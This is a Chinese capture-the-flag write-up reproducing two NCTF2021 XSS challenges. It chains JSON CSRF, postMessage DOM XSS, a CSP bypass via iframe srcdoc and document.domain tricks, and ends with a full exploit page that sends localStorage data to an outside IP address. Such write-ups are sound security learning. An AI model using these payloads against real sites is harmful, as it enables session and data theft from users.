通过复现NCTF 两道Xss的题目,感觉前端的知识又学习了不少
题目链接:
https://github.com/X1cT34m/NCTF2021/tree/main/web
官方WP:
https://mp.weixin.qq.com/s/djcrr8LrhZDsKwkVBJ6AVQ
本地构建 Docker 经常因为网络问题报错,需要更换源和设置代理来解决
通过openssl自签名证书在docker内配置https,但是浏览器一直显示有安全问题,无奈之下购买了一个域名继续复现
第一步:主站存在存在Json Csrf ,服务端没有限制了请求 Content-Type 必须是 application/json,导致攻击者可以构造恶意页面以用户身份提交 Content-Type为text/plain 表单,伪造包含有效JSON数据的请求
第二步:绕过 Content-Security-Policy (简称CSP) 进行Xss
这里涉及到 一个Web Api ⇒ window.addEventListener ,查阅了相关资料才知道 window.addEventListener 是一个事件监听器,事件发生后会调用相应的回调函数处理
index.html 获取到 /note 路由的内容 然后通过postMessage 发送
sanbox.html 的监听器监听到后,会将内容通过innerHTML写入页面,存在DOM Xss
但是由于 SCP 的存在,如果想执行script脚本,首先会有script-src nonce 的限制,而store的CSP 允许访问主站内容,那试试加载 主站/note 中插入的js语句,结果被 X-Frame-Options 拦了
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHBzOi8veWFuc2h1c21pbGUudG9wL25vdGUvJz48L3NjcmlwdD4=">
所以只能用iframe的srcdoc来加载主站插入js语句,Xss payload:
alert(1);`<iframe srcdoc="<script src='https://yanshusmile.top/note/'></script>">`
这里还有个坑 ,使用同样的payload在火狐浏览器上打不通
第三步:能实现Store站的Xss后,就要想办法将主站中的localStorage的flag带出来了,而localStorage也是受到跨域保护的,所以需要将两个站设置为同源,使两个站 document.domain=document.domain
主站与store站存在⼀个互相postMessage的通信,主站会将store站 postMessage 的内容赋值 ,我们可以通过store站的xss回传 我们需要构造的属性,利用set函数对主站的document.domain 进行赋值
当主站和store站两者同源后,就可以bypass CSP带出localStorage的flag了
Exp:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SOLVE</title>
</head>
<body>
<script>
const url = "https://yanshusmile.top";
async function poc() {
let form = document.createElement("form");
form.id = "addPost";
form.method = "POST";
form.action = `${url}/note/add`;
form.enctype = "text/plain";
let src = `<script src=${url}/note>\<\/script>`;
const payload = 'document.domain=\'yanshusmile.top\';parent.parent.postMessage({\'document.domain\':\'yanshusmile.top\'},\'*\');setTimeout(()=> parent.parent.location=\'http://47.99.120.46:8000/?data=\'+parent.parent.localStorage.flag, 200);'+'`<iframe srcdoc=\\"'+src+'\\"></iframe>`';
let input = document.createElement("input");
input.name = `{"content":"${payload}", "test":"`
input.value = 'yanshusmile"}'
form.appendChild(input);
document.body.appendChild(form);
document.getElementById("addPost").submit();
}
(async () => {
poc();
})();
</script>
</body>
</html>
尝试用浏览器访问 url 的时候 ,能正常跳转并且带出数据
而bot访问却不行,出题的师傅建议修改一下bot ,添加await sleep(3000) ,让页面完全跳转过去
成功带出数据: